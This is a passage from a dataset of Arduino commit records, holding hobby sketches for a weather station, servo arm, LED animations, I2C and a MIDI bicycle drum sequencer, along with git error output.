+= winddiravg[i];\n temp \/= 120;\n winddir_avg2m = temp;\n\n \/\/Calc windgustms_10m\n \/\/Calc windgustdir_10m\n \/\/Find the largest windgust in the last 10 minutes\n windgustms_10m = 0;\n windgustdir_10m = 0;\n \/\/Step through the 10 minutes \n for(int i = 0; i < 10 ; i++)\n {\n if(windgust_10m[i] > windgustms_10m)\n {\n windgustms_10m = windgust_10m[i];\n windgustdir_10m = windgustdirection_10m[i];\n }\n }\n\n \/\/Calc humidity\n humidity = myHumidity.readHumidity();\n \/\/float temp_h = myHumidity.readTemperature();\n \/\/Serial.print(\" TempH:\");\n \/\/Serial.print(temp_h, 2);\n\n \/\/Calc tempf from pressure sensor\n tempf = myPressure.readTemp();\n \/\/Serial.print(\" TempP:\");\n \/\/Serial.print(tempf, 2);\n\n \/\/Total rainfall for the day is calculated within the interrupt\n \/\/Calculate amount of rainfall for the last 60 minutes\n rainin = 0; \n for(int i = 0 ; i < 60 ; i++)\n rainin += rainHour[i];\n\n \/\/Calc pressure\n pressure = myPressure.readPressure();\n\n \/\/Calc dewptf\n\n \/\/Calc light level\n light_lvl = get_light_level();\n\n \/\/Calc battery level\n batt_lvl = get_battery_level();\n \n}\n\n\/\/Returns the voltage of the light sensor based on the 3.3V rail\n\/\/This allows us to ignore what VCC might be (an Arduino plugged into USB has VCC of 4.5 to 5.2V)\nfloat get_light_level()\n{\n float operatingVoltage = analogRead(REFERENCE_3V3);\n\n float lightSensor = analogRead(LIGHT);\n \n operatingVoltage = 3.3 \/ operatingVoltage; \/\/The reference voltage is 3.3V\n \n lightSensor = operatingVoltage * lightSensor;\n \n return(lightSensor);\n}\n\n\/\/Returns the voltage of the raw pin based on the 3.3V rail\n\/\/This allows us to ignore what VCC might be (an Arduino plugged into USB has VCC of 4.5 to 5.2V)\n\/\/Battery level is connected to the RAW pin on Arduino and is fed through two 5% resistors:\n\/\/3.9K on the high side (R1), and 1K on the low side (R2)\nfloat get_battery_level()\n{\n float operatingVoltage = analogRead(REFERENCE_3V3);\n\n float rawVoltage = analogRead(BATT);\n \n operatingVoltage = 3.30 \/ operatingVoltage; \/\/The reference voltage is 3.3V\n \n rawVoltage = operatingVoltage * rawVoltage; \/\/Convert the 0 to 1023 int to actual voltage on BATT pin\n \n rawVoltage *= 4.90; \/\/(3.9k+1k)\/1k - multiple BATT voltage by the voltage divider to get actual system voltage\n \n return(rawVoltage);\n}\n\n\/\/Returns the instataneous wind speed\nfloat get_wind_speed()\n{\n float deltaTime = millis() - lastWindCheck; \/\/750ms\n\n deltaTime \/= 1000.0; \/\/Convert to seconds\n\n float windSpeed = (float)windClicks \/ deltaTime; \/\/3 \/ 0.750s = 4\n\n windClicks = 0; \/\/Reset and start watching for new wind\n lastWindCheck = millis();\n\n \/\/windSpeed *= 1.492; \/\/4 * 1.492 = 5.968MPH\n\n \/* Serial.println();\n Serial.print(\"Windspeed:\");\n Serial.println(windSpeed);*\/\n\n return(windSpeed);\n}\n\n\/\/Read the wind direction sensor, return heading in degrees\nint get_wind_direction() \n{\n unsigned int adc;\n\n adc = analogRead(WDIR); \/\/ get the current reading from the sensor\n\n \/\/ The following table is ADC readings for the wind direction sensor output, sorted from low to high.\n \/\/ Each threshold is the midpoint between adjacent headings. The output is degrees for that ADC reading.\n \/\/ Note that these are not in compass degree order! See Weather Meters datasheet for more information.\n\n if (adc < 380) return (113);\n if (adc < 393) return (68);\n if (adc < 414) return (90);\n if (adc < 456) return (158);\n if (adc < 508) return (135);\n if (adc < 551) return (203);\n if (adc < 615) return (180);\n if (adc < 680) return (23);\n if (adc < 746) return (45);\n if (adc < 801) return (248);\n if (adc < 833) return (225);\n if (adc < 878) return (338);\n if (adc < 913) return (0);\n if (adc < 940) return (293);\n if (adc < 967) return (315);\n if (adc < 990) return (270);\n return (-1); \/\/ error, disconnected?\n}\n\n\n\/\/Prints the various variables directly to the port\n\/\/I don't like the way this function is written but Arduino doesn't support floats under sprintf\nvoid printWeather()\n{\n calcWeather(); \/\/Go calc all the various sensors\n\n Serial.println();\n Serial.print(\"$,lon=\");\n Serial.print(gps.location.lng(), 6);\n Serial.print(\",lat=\");\n Serial.print(gps.location.lat(), 6);\n Serial.print(\",altitude=\");\n Serial.print(gps.altitude.meters());\n Serial.print(\",sats=\");\n Serial.print(gps.satellites.value());\n\n char sz[32];\n Serial.print(\",date=\");\n sprintf(sz, \"%02d-%02d-%02d\", gps.date.year(), gps.date.month(), gps.date.day());\n Serial.print(sz);\n\n Serial.print(\",time=\");\n sprintf(sz, \"%02d:%02d:%02d\", gps.time.hour(), gps.time.minute(), gps.time.second());\n Serial.print(sz);\n\n Serial.print(\",RTCdate=20\");\n sprintf(sz, \"%s\", getDateDs1307(0));\n Serial.print(sz); \n Serial.print(\",RTCtime=\");\n sprintf(sz, \"%s\", getDateDs1307(1));\n Serial.print(sz); \n\n Serial.print(\",winddir=\");\n Serial.print(winddir);\n Serial.print(\",windspeedms=\");\n Serial.print(windspeedms, 1);\n Serial.print(\",windgustms=\");\n Serial.print(windgustms, 1);\n Serial.print(\",windgustdir=\");\n Serial.print(windgustdir);\n Serial.print(\",windspdms_avg2m=\");\n Serial.print(windspdms_avg2m, 1);\n Serial.print(\",winddir_avg2m=\");\n Serial.print(winddir_avg2m);\n Serial.print(\",windgustms_10m=\");\n Serial.print(windgustms_10m, 1);\n Serial.print(\",windgustdir_10m=\");\n Serial.print(windgustdir_10m);\n Serial.print(\",humidity=\");\n Serial.print(humidity, 1);\n Serial.print(\",tempc=\");\n Serial.print(tempf, 1);\n Serial.print(\",rainhourmm=\");\n Serial.print(rainin, 2);\n Serial.print(\",raindailymm=\");\n Serial.print(dailyrainin, 2);\n Serial.print(\",rainindicate=\");\n Serial.print(Rainindi,1);\n Serial.print(\",raindura=\");\n Serial.print(Rainindinter);\n Serial.print(\",pressure=\");\n Serial.print(pressure, 2);\n Serial.print(\",batt_lvl=\");\n Serial.print(batt_lvl, 2);\n Serial.print(\",light_lvl=\");\n Serial.print(light_lvl, 2);\n \n\n Serial.print(\",\");\n Serial.println(\"#\");\n\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'weewx\/Weather_Shield_with_GPS.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"a98b9f45606731143cb9a93739aa17b73dd636b1","subject":"add robot arm sketch","message":"add robot arm sketch\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/arm_with_trigger.ino","new_file":"testing\/arduino\/arm_with_trigger.ino","new_contents":"#include \"Arduino.h\"\n#include \"Servo.h\"\n\n\/\/ Servo\nServo ServoMotor_Bottom;\nconst uint8_t servoPin_Bottom = 3;\n\nServo ServoMotor_Top;\nconst uint8_t servoPin_Top = 6;\n\nconst uint8_t servoRotationAngel = 10;\n\n\n\/\/ Joystick\nconst uint8_t buttonX = A0;\nconst uint8_t buttonY = A1;\nconst uint8_t buttonSW = 4;\n\n\nvoid setup()\n{\n Serial.begin(9600); \/\/ Starts the serial communication\n\n pinMode(buttonSW, INPUT_PULLUP);\n\n pinMode(A5, OUTPUT);\n pinMode(buttonSW, OUTPUT);\n\n ServoMotor_Bottom.attach(servoPin_Bottom, 400, 2600);\n ServoMotor_Bottom.write(90);\n\n ServoMotor_Top.attach(servoPin_Top, 400, 2600);\n ServoMotor_Top.write(90);\n}\n\n\n\nvoid loop()\n{\n ServoMotor_Bottom.write(map(analogRead(buttonX), 0, 1024, 0, 180));\n\n ServoMotor_Top.write(map(analogRead(buttonY), 0, 1024, 0, 180));\n\n\n analogWrite(A5, 255);\n if(digitalRead(buttonSW) == 0)\n {\n analogWrite(A5, 0);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/arm_with_trigger.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ae7e5d5a995e8b2877639025f72efa22e82bf6b3","subject":"Create sendData.ino","message":"Create sendData.ino","repos":"manashmndl\/SerialPort","old_file":"ArduinoCodes\/sendData.ino","new_file":"ArduinoCodes\/sendData.ino","new_contents":"\/*\n * Author: Manash Kumar Mandal\n * Example For sending data to SerialPort\n *\/\n\n#define BAUD 9600\n#define DELAY_TIME 100\n\nconst char* helloWorld = \"Hello, world!\";\n\nvoid setup() {\n Serial.begin(BAUD);\n}\n\nvoid loop() {\n Serial.println(helloWorld);\n delay(DELAY_TIME);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoCodes\/sendData.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"45823ed3962a3c765285be4c84b43f46da43310d","subject":"Added Due debugging example sketch.","message":"Added Due debugging example sketch.\n","repos":"futureshocked\/aabt,futureshocked\/aabt","old_file":"DueDebuggingExample\/DueDebuggingExample.ino","new_file":"DueDebuggingExample\/DueDebuggingExample.ino","new_contents":"\/*\n * \n * DueDebuggingExample.ino\n * \n * This sketch is used to demonstrate some aspects of\n * debugging an Arduino sketch using the AtmelStudio package.\n * \n * Connect one LED to pin 3 and one LED to pin 4.\n * The LEDs will start blinking.\n * When that happens, you can start the debugger.\n *\/\n\n\nint led1 = 3;\nint led2 = 4; \nint counter = 0;\nint delay_duration1 = 500;\nint delay_duration2 = 100;\n\n\/\/ the setup function runs once when you press reset or power the board\nvoid setup() {\n \/\/ initialize digital pin 13 as an output.\n pinMode(led1, OUTPUT);\n pinMode(led2, OUTPUT);\n Serial.begin(9600);\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n counter += 1;\n Serial.println(counter%2);\n if (counter%2 == 0)\n {\n digitalWrite(led1, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(delay_duration1); \/\/ wait for a second\n digitalWrite(led1, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(delay_duration1); \/\/ wait for a second\n }\n\n if (counter%2 == 1)\n {\n digitalWrite(led2, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(delay_duration1); \/\/ wait for a second\n digitalWrite(led2, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(delay_duration1); \/\/ wait for a second\n }\n\n if (counter%5 == 0)\n {\n digitalWrite(led2, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n digitalWrite(led1, HIGH);\n delay(delay_duration1); \/\/ wait for a second\n digitalWrite(led2, LOW); \/\/ turn the LED off by making the voltage LOW\n digitalWrite(led1, LOW); \n delay(delay_duration1); \/\/ wait for a second\n }\n\n delay(delay_duration2);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DueDebuggingExample\/DueDebuggingExample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"73d0b8407b102df73300ca79e8996e672c133115","subject":"It LIVES","message":"It LIVES\n\nFinally got the chip to give me the right response for its WHO_AM_I.\nSmall step to getting the whole thing working. Maybe I should turn this\ninto a library.\n","repos":"lowjunen\/Monocopter,lowjunen\/Monocopter,lowjunen\/Monocopter","old_file":"LIS3MDL_Data_Logger\/LIS3MDL_Data_Logger.ino","new_file":"LIS3MDL_Data_Logger\/LIS3MDL_Data_Logger.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lowjunen\/Monocopter.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a88a685206dc6175eb0db05810b3c66f8a5185aa","subject":"rename REPL commands & sedate the rgb LED","message":"rename REPL commands & sedate the rgb LED\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"firmware\/photon.ino","new_file":"firmware\/photon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"53b6e302d2bd136743375a7e5802ea6febe0af07","subject":"Sample arduino sketch","message":"Sample arduino sketch\n","repos":"piotrkasprzyk\/remote-blinker","old_file":"addressable_led.ino","new_file":"addressable_led.ino","new_contents":"#include <FastLED.h>\n\n#define LED_PIN 5\n#define NUM_LEDS 12\n#define BRIGHTNESS 5\n#define LED_TYPE WS2811\n#define COLOR_ORDER GRB\nCRGB leds[NUM_LEDS];\n\n\nCRGBPalette16 currentPalette;\nTBlendType currentBlending;\n\nchar msg[5];\n\n\nvoid setLed(int i, int paletteIdx, int brightness) {\n leds[i] = ColorFromPalette(currentPalette, paletteIdx, brightness, currentBlending);\n}\n\n\nvoid setup() {\n delay( 3000 ); \/\/ power-up safety delay\n Serial.begin(9600);\n FastLED.addLeds<LED_TYPE, LED_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n \n currentPalette = RainbowColors_p;\n currentBlending = LINEARBLEND;\n \n for (int i = 0; i < NUM_LEDS; i++) {\n leds[i] = ColorFromPalette(currentPalette, 0, 0, currentBlending);\n };\n}\n\n\nvoid loop() {\n FastLED.show();\n\n if (Serial.available() > 0) {\n Serial.readBytes(msg, 5);\n if (msg[0] != '?' || msg[4] != '!') {\n Serial.println(\"ojej, fakap!\");\n } else {\n setLed(msg[1], msg[2], msg[3]);\n Serial.println(msg);\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'addressable_led.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6b49cb7242605f19239b92da0e8b96b145562560","subject":"Add BasicIMU Arduino sample for talking to Pololu MinIMU via Reflecta","message":"Add BasicIMU Arduino sample for talking to Pololu MinIMU via Reflecta\n","repos":"JayBeavers\/Reflecta,joncamp\/Reflecta","old_file":"BasicIMU\/BasicIMU.ino","new_file":"BasicIMU\/BasicIMU.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JayBeavers\/Reflecta.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"7e401352eb696df7e457e643b3b1571230056e22","subject":"Create beat8.ino","message":"Create beat8.ino","repos":"marmilicious\/FastLED_examples","old_file":"beat8.ino","new_file":"beat8.ino","new_contents":"\/\/***************************************************************\n\/\/ beat8 example. Moves pixel position based on beat8.\n\/\/\n\/\/ Marc Miller, Jan 2016\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 32\n#define COLOR_ORDER GRB\n#define BRIGHTNESS 50\nCRGB leds[NUM_LEDS];\n\nuint8_t gHue = 0; \/\/ Hue used to cycle through rainbow.\nuint16_t pos; \/\/ Pixel position on LED strip.\n\n\n\/\/---------------------------------------------------------------\nvoid setup() \n{\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(3000); \/\/ 3 second delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop() \n{\n EVERY_N_MILLISECONDS( 50 ) { gHue++; } \/\/ Slowly cycle through the rainbow\n\n beat8_tail(); \/\/ Subroutine to move the pixel!\n \n FastLED.show(); \/\/ Display the pixels.\n\n}\/\/end main loop\n\n\n\n\/\/===============================================================\nvoid beat8_tail()\n{\n EVERY_N_MILLISECONDS( 5 ) {\n fadeToBlackBy( leds, NUM_LEDS, 4); \/\/ Fade out pixels.\n }\n pos = beat8(8) % NUM_LEDS; \/\/ modulo the position to be within NUM_LEDS\n leds[pos] = CHSV( gHue, 200, 255);\n \/\/Serial.print(\"pos: \"); Serial.println(pos);\n}\n\n\n\/\/---------------------------------------------------------------\n\/\/EOF\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'beat8.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"941fbca55ba94021179034837d02a902ef32cb37","subject":"Added test example","message":"Added test example\n","repos":"starofrainnight\/ArduinoUtf8,starofrainnight\/ArduinoUtf8","old_file":"examples\/HelloWorld\/HelloWorld.ino","new_file":"examples\/HelloWorld\/HelloWorld.ino","new_contents":"\n#include <Arduino.h>\n#include <Utf8.h>\n\nconst char *gUtf8ZhString = \"\u4f60\u597d\uff0c\u6211\u662f\u4e2d\u6587\uff01\";\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n Serial.println(\"Hello, world!\");\n Serial.println(\"Utf8 library testing ...\");\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n delay(3000);\n Serial.print(\"Utf8 zh_CN string length : \");\n Serial.println(Utf8GetLength(gUtf8ZhString));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/HelloWorld\/HelloWorld.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c65e69a53623c5092066d3ab8d3c04c692d376cc","subject":"Adds I2C-ready skeleton of mcu sketch","message":"Adds I2C-ready skeleton of mcu sketch\n","repos":"agnash\/photo-booth,agnash\/photo-booth,agnash\/photo-booth","old_file":"booth_controller\/booth_controller.ino","new_file":"booth_controller\/booth_controller.ino","new_contents":"#include <Wire.h>\n\n\/\/ after bit shifting will be converted to I2C slave address 8\n#define SLAVE_ADDRESS 0x02\n\nvoid setup() {\n \/\/ start I2C slave\n Wire.begin(SLAVE_ADDRESS);\n \n \/\/ I2C communication callbacks\n Wire.onReceive(receiveData);\n Wire.onRequest(sendData);\n}\n\nvoid loop() {\n \n\n}\n\nvoid receiveData(int numBytes) {\n\n \n}\n\nvoid sendData() {\n \n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'booth_controller\/booth_controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"33c9d03356a07bce8a753f3c67d8717cc87ded49","subject":"add CheckFlashConfig.ino example","message":"add CheckFlashConfig.ino example\n","repos":"sticilface\/Arduino,lrmoreno007\/Arduino,edog1973\/Arduino,NullMedia\/Arduino,sticilface\/Arduino,gguuss\/Arduino,CanTireInnovations\/Arduino,edog1973\/Arduino,Links2004\/Arduino,hallard\/Arduino,toastedcode\/esp8266-Arduino,lrmoreno007\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Adam5Wu\/Arduino,NullMedia\/Arduino,lrmoreno007\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Links2004\/Arduino,Cloudino\/Arduino,gguuss\/Arduino,chrisfraser\/Arduino,jes\/Arduino,KaloNK\/Arduino,martinayotte\/ESP8266-Arduino,toastedcode\/esp8266-Arduino,esp8266\/Arduino,toastedcode\/esp8266-Arduino,martinayotte\/ESP8266-Arduino,esp8266\/Arduino,Lan-Hekary\/Arduino,NextDevBoard\/Arduino,NextDevBoard\/Arduino,chrisfraser\/Arduino,Cloudino\/Arduino,Adam5Wu\/Arduino,gguuss\/Arduino,gguuss\/Arduino,CanTireInnovations\/Arduino,quertenmont\/Arduino,Cloudino\/Cloudino-Arduino-IDE,chrisfraser\/Arduino,Cloudino\/Arduino,wemos\/Arduino,quertenmont\/Arduino,sticilface\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Juppit\/Arduino,me-no-dev\/Arduino,lrmoreno007\/Arduino,KaloNK\/Arduino,quertenmont\/Arduino,NullMedia\/Arduino,wemos\/Arduino,me-no-dev\/Arduino,chrisfraser\/Arduino,Lan-Hekary\/Arduino,martinayotte\/ESP8266-Arduino,Juppit\/Arduino,hallard\/Arduino,NextDevBoard\/Arduino,KaloNK\/Arduino,Links2004\/Arduino,Links2004\/Arduino,hallard\/Arduino,Lan-Hekary\/Arduino,Cloudino\/Arduino,Cloudino\/Cloudino-Arduino-IDE,NullMedia\/Arduino,esp8266\/Arduino,Lan-Hekary\/Arduino,lrmoreno007\/Arduino,wemos\/Arduino,KaloNK\/Arduino,Adam5Wu\/Arduino,jes\/Arduino,Lan-Hekary\/Arduino,Adam5Wu\/Arduino,jes\/Arduino,esp8266\/Arduino,CanTireInnovations\/Arduino,wemos\/Arduino,Cloudino\/Cloudino-Arduino-IDE,quertenmont\/Arduino,hallard\/Arduino,CanTireInnovations\/Arduino,martinayotte\/ESP8266-Arduino,me-no-dev\/Arduino,sticilface\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jes\/Arduino,toastedcode\/esp8266-Arduino,edog1973\/Arduino,Cloudino\/Arduino,toastedcode\/esp8266-Arduino,CanTireInnovations\/Arduino,quertenmont\/Arduino,Cloudino\/Arduino,NextDevBoard\/Arduino,chrisfraser\/Arduino,hallard\/Arduino,sticilface\/Arduino,CanTireInnovations\/Arduino,Links2004\/Arduino,me-no-dev\/Arduino,martinayotte\/ESP8266-Arduino,Juppit\/Arduino,NullMedia\/Arduino,KaloNK\/Arduino,edog1973\/Arduino,NextDevBoard\/Arduino,CanTireInnovations\/Arduino,esp8266\/Arduino,Juppit\/Arduino,edog1973\/Arduino,me-no-dev\/Arduino,wemos\/Arduino,Adam5Wu\/Arduino,Juppit\/Arduino,jes\/Arduino,gguuss\/Arduino,Cloudino\/Arduino","old_file":"libraries\/esp8266\/examples\/CheckFlashConfig\/CheckFlashConfig.ino","new_file":"libraries\/esp8266\/examples\/CheckFlashConfig\/CheckFlashConfig.ino","new_contents":"\/* \r\n ESP8266 CheckFlashConfig by Markus Sattler\r\n \r\n This sketch tests if the EEPROM settings of the IDE match to the Hardware\r\n \r\n *\/\r\n\r\nvoid setup(void) {\r\n Serial.begin(115200);\r\n}\r\n\r\nvoid loop() {\r\n\r\n uint32_t realSize = ESP.getFlashChipRealSize();\r\n uint32_t ideSize = ESP.getFlashChipSize();\r\n FlashMode_t ideMode = ESP.getFlashChipMode();\r\n\r\n Serial.printf(\"Flash real id: %08X\\n\", ESP.getFlashChipId());\r\n Serial.printf(\"Flash real size: %u\\n\\n\", realSize);\r\n\r\n Serial.printf(\"Flash ide size: %u\\n\", ideSize);\r\n Serial.printf(\"Flash ide speed: %u\\n\", ESP.getFlashChipSpeed());\r\n Serial.printf(\"Flash ide mode: %s\\n\", (ideMode == FM_QIO ? \"QIO\" : ideMode == FM_QOUT ? \"QOUT\" : ideMode == FM_DIO ? \"DIO\" : ideMode == FM_DOUT ? \"DOUT\" : \"UNKNOWN\"));\r\n\r\n if(ideSize != realSize) {\r\n Serial.println(\"Flash Chip configuration wrong!\\n\");\r\n } else {\r\n Serial.println(\"Flash Chip configuration ok.\\n\");\r\n }\r\n\r\n delay(5000);\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/esp8266\/examples\/CheckFlashConfig\/CheckFlashConfig.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"65ecc914b2e2ed5e63609bc3c0519e9c2fcd375b","subject":"added attiny hello world","message":"added attiny hello world\n","repos":"TaylorHokanson\/CAAint","old_file":"i2c\/Code\/attiny_hello_world\/attiny_hello_world.ino","new_file":"i2c\/Code\/attiny_hello_world\/attiny_hello_world.ino","new_contents":"\/\/ Attiny Hello World\n\/\/ Will blink an LED attached to pin 0\n\/\/ Don't forget to burn bootloader first\n\nint ledPin = 0;\n\nvoid setup() {\n pinMode(ledPin, OUTPUT);\n}\n\nvoid loop() {\n digitalWrite(ledPin, HIGH); \n delay(1000); \n digitalWrite(ledPin, LOW); \n delay(1000); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'i2c\/Code\/attiny_hello_world\/attiny_hello_world.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"39ce51d440deb305655890340d77a35096261c63","subject":"added url for EEPROM","message":"added url for EEPROM\n","repos":"biomurph\/HeartBone,biomurph\/HeartBone,biomurph\/HeartBone,biomurph\/HeartBone,biomurph\/HeartBone","old_file":"HeartBone Firmware\/HeartBone_10\/HeartBone_10.ino","new_file":"HeartBone Firmware\/HeartBone_10\/HeartBone_10.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Firmware\/HeartBone_10\/HeartBone_10.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c9bdf518f77f36e466c014540ad45aa2e2bfd52c","subject":"Bicycle Drummer 0.4 \/\/ S1 Seq","message":"Bicycle Drummer 0.4 \/\/ S1 Seq\n\nadded support for Bass line sequences, synth sequences,\nmanual button control. Uses Button library.\n","repos":"serdef\/synthprojects,serdef\/synthprojects","old_file":"arduino\/cycledrummer\/BICYCLEDRUMMER02\/BICYCLEDRUMMER02.ino","new_file":"arduino\/cycledrummer\/BICYCLEDRUMMER02\/BICYCLEDRUMMER02.ino","new_contents":"\n\/*\nS1 SEQ \/\/ BICYCLE DRUMMER 0.4\n25.07.2014\nBy Serge Defever\nArduino NANO + Dreamblaster S1\n\nDreamblaster S1 : http:\/\/www.serdashop.com\/waveblaster\nArduino NANO : http:\/\/store.arduino.cc\/\n\n*\/\n#include <Button.h>\n#include <TimerOne.h>\nlong calctempodelay = 0;\nlong tempodelay = 500;\nlong curtimestamp = 0;\nlong prevtimestamp = 0;\nlong lasttickstamp =0;\nlong wheelfactor = 6; \/\/ adjust this to modify the pulseperiod to tempo ratio (wheel radius), higher = faster\n\n\n#define _BASSDRUM_NOTE 0x24\n#define _SNAREDRUM_NOTE 0x26\n#define _CLOSEDHIHAT_NOTE 0x2A\n#define _PEDALHIHAT_NOTE 0x2C\n#define _OPENHIHAT_NOTE 0x2E\n#define _CYMBAL_NOTE 0x31\n\nvoid midiwrite(int cmd, int pitch, int velocity) {\n Serial.write(cmd);\n Serial.write(pitch);\n Serial.write(velocity);\n}\n\nvoid midiprogchange(int cmd, int prog) {\n Serial.write(cmd);\n Serial.write(prog);\n}\n\nconst int bicyclesetup = 0;\nconst int button1Pin = 2;\nconst int button2Pin = 3;\nconst int button3Pin = 4;\nconst int button4Pin = 5;\nconst int dreamblaster_enable_pin = 6;\nint potentiopin = 2;\nlong potentiovalue = 0;\nint buttonState = 0; \nint prev_buttonState = 0; \nint enabledrumming = 0;\nint enablebassline = 0;\nint enablesynthline = 0;\nlong seq_poscnt = 0;\n\n\nButton button2 = Button(button2Pin,BUTTON_PULLDOWN);\nButton button3 = Button(button3Pin,BUTTON_PULLDOWN);\nButton button4 = Button(button4Pin,BUTTON_PULLDOWN);\n\n\nvoid basssubseq(long relativpos) \n{ \n switch(relativpos)\n {\n case 0 :\n midiwrite(0x81, 40, 0x00); \n midiwrite(0x91, 28, 0x70); \n break;\n case 4 :\n midiwrite(0x81, 28, 0x00); \n midiwrite(0x91, 40, 0x70); \n break;\n case 8 :\n midiwrite(0x81, 40, 0x00); \n midiwrite(0x91, 52, 0x70); \n break;\n case 12:\n midiwrite(0x81, 52, 0x00); \n midiwrite(0x91, 40, 0x70); \n break; \n default :\n break;\n } \n\n}\n\nvoid synthsubseq(long relativpos) \n{ \n switch(relativpos)\n {\n case 0 :\n midiwrite(0x90, 40, 0x65); \n break;\n case 7:\n midiwrite(0x80, 40, 0x00); \n break;\n case 8 :\n midiwrite(0x90, 52, 0x65); \n break;\n case 15:\n midiwrite(0x80, 52, 0x00);\n break; \n default :\n break;\n } \n\n}\nvoid drumseq(long seqpos) \n{ \n char relativpos;\n char seq_poscnt_mod2;\n relativpos =seqpos%16;\n seq_poscnt_mod2 = seqpos%2;\n if(enabledrumming)\n {\n if((seq_poscnt_mod2 == 0) && (relativpos < 14))\n {\n midiwrite(0x99, _PEDALHIHAT_NOTE, 0x65); \/\/ fast hi hat midi note\n }\n\n switch(relativpos)\n {\n case 0 :\n midiwrite(0x99, _BASSDRUM_NOTE, 0x65); \n break;\n case 4:\n midiwrite(0x99, _SNAREDRUM_NOTE, 0x65); \n break;\n case 6 :\n midiwrite(0x99, _BASSDRUM_NOTE, 0x65); \n break;\n case 8 :\n midiwrite(0x99, _BASSDRUM_NOTE, 0x65); \n break;\n case 12:\n midiwrite(0x99, _SNAREDRUM_NOTE, 0x65); \n break;\n case 14:\n midiwrite(0x99, _OPENHIHAT_NOTE, 0x65); \n\n break; \n default :\n break;\n } \n if(enablebassline)\n {\n basssubseq(relativpos);\n }\n if(enablesynthline)\n {\n synthsubseq(relativpos); \n }\n } \n };\n\n\nvoid timercallback()\n{\n drumseq(seq_poscnt);\n seq_poscnt++;\n lasttickstamp = millis();\n Timer1.setPeriod(tempodelay * 1000); \n}\n\nvoid setupvoices(void)\n{\n midiprogchange(0xC0,95);\n midiprogchange(0xC1,39);\n}\nvoid SomeButtonPressHandler(Button& butt)\n{ \n if(enabledrumming)\n {\n if(butt == button2)\n {\n enablesynthline = enablesynthline?0:1;\n };\n if(butt == button3)\n {\n enablebassline = enablebassline?0:1;\n };\n\n }\n else\n {\n \n if(butt == button2)\n {\n midiwrite(0x90, 40, 0x70); \/\/ switch off possible bass notes\n };\n if(butt == button3)\n { \n midiwrite(0x99, _SNAREDRUM_NOTE, 0x65); \n }\n if(butt == button4)\n { \n midiwrite(0x99, _BASSDRUM_NOTE, 0x65); \n }\n }\n}\nvoid stopallnotes(void)\n{\n \n midiwrite(0x80, 52, 0x00); \/\/ switch off possible synth 